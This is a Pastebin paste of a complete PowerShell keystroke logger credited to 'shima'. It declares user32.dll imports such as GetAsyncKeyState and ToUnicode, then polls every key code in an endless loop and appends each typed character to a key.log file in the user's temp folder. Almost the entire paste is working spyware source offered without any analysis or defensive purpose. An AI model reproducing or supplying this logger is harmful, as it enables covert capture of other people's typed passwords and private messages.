Advertisement
Guest User

Untitled

a guest
Apr 24th, 2017
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <#
  2. PowerShell keystroke logger by shima
  3. http://vacmf.org/2013/01/23/powershell-keylogger/
  4. #>
  5. function KeyLog {
  6.    
  7.     # MapVirtualKeyMapTypes
  8.     # <summary>
  9.     # uCode is a virtual-key code and is translated into a scan code.
  10.     # If it is a virtual-key code that does not distinguish between left- and
  11.     # right-hand keys, the left-hand scan code is returned.
  12.     # If there is no translation, the function returns 0.
  13.     # </summary>
  14.     $MAPVK_VK_TO_VSC = 0x00
  15.    
  16.     # <summary>
  17.     # uCode is a scan code and is translated into a virtual-key code that
  18.     # does not distinguish between left- and right-hand keys. If there is no
  19.     # translation, the function returns 0.
  20.     # </summary>
  21.     $MAPVK_VSC_TO_VK = 0x01
  22.    
  23.     # <summary>
  24.     # uCode is a virtual-key code and is translated into an unshifted
  25.     # character value in the low-order word of the return value. Dead keys (diacritics)
  26.     # are indicated by setting the top bit of the return value. If there is no
  27.     # translation, the function returns 0.
  28.     # </summary>
  29.     $MAPVK_VK_TO_CHAR = 0x02
  30.    
  31.     # <summary>
  32.     # Windows NT/2000/XP: uCode is a scan code and is translated into a
  33.     # virtual-key code that distinguishes between left- and right-hand keys. If
  34.     # there is no translation, the function returns 0.
  35.     # </summary>
  36.     $MAPVK_VSC_TO_VK_EX = 0x03
  37.    
  38.     # <summary>
  39.     # Not currently documented
  40.     # </summary>
  41.     $MAPVK_VK_TO_VSC_EX = 0x04
  42.    
  43.     $virtualkc_sig = @'
  44. [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
  45. public static extern short GetAsyncKeyState(int virtualKeyCode);
  46. '@
  47.  
  48.     $kbstate_sig = @'
  49. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  50. public static extern int GetKeyboardState(byte[] keystate);
  51. '@
  52.  
  53.     $mapchar_sig = @'
  54. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  55. public static extern int MapVirtualKey(uint uCode, int uMapType);
  56. '@
  57.  
  58.     $tounicode_sig = @'
  59. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  60. public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
  61. '@
  62.  
  63.     $getKeyState = Add-Type -MemberDefinition $virtualkc_sig -name "Win32GetState" -namespace Win32Functions -passThru
  64.     $getKBState = Add-Type -MemberDefinition $kbstate_sig -name "Win32MyGetKeyboardState" -namespace Win32Functions -passThru
  65.     $getKey = Add-Type -MemberDefinition $mapchar_sig -name "Win32MyMapVirtualKey" -namespace Win32Functions -passThru
  66.     $getUnicode = Add-Type -MemberDefinition $tounicode_sig -name "Win32MyToUnicode" -namespace Win32Functions -passThru
  67.  
  68.     while ($true) {
  69.         Start-Sleep -Milliseconds 40
  70.         $gotit = ""
  71.        
  72.         for ($char = 1; $char -le 254; $char++) {
  73.             $vkey = $char
  74.             $gotit = $getKeyState::GetAsyncKeyState($vkey)
  75.            
  76.             if ($gotit -eq -32767) {
  77.            
  78.                 $l_shift = $getKeyState::GetAsyncKeyState(160)
  79.                 $r_shift = $getKeyState::GetAsyncKeyState(161)
  80.                 $caps_lock = [console]::CapsLock
  81.                
  82.                 $scancode = $getKey::MapVirtualKey($vkey, $MAPVK_VSC_TO_VK_EX)
  83.                
  84.                 $kbstate = New-Object Byte[] 256
  85.                 $checkkbstate = $getKBState::GetKeyboardState($kbstate)
  86.                
  87.                 $mychar = New-Object -TypeName "System.Text.StringBuilder";
  88.                 $unicode_res = $getUnicode::ToUnicode($vkey, $scancode, $kbstate, $mychar, $mychar.Capacity, 0)
  89.                
  90.                 if ($unicode_res -gt 0) {
  91.                     $logfile = "$env:temp\key.log"
  92.                     Out-File -FilePath $logfile -Encoding Unicode -Append -InputObject $mychar.ToString()
  93.                 }
  94.             }
  95.         }
  96.     }
  97. }
  98.  
  99. KeyLog
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement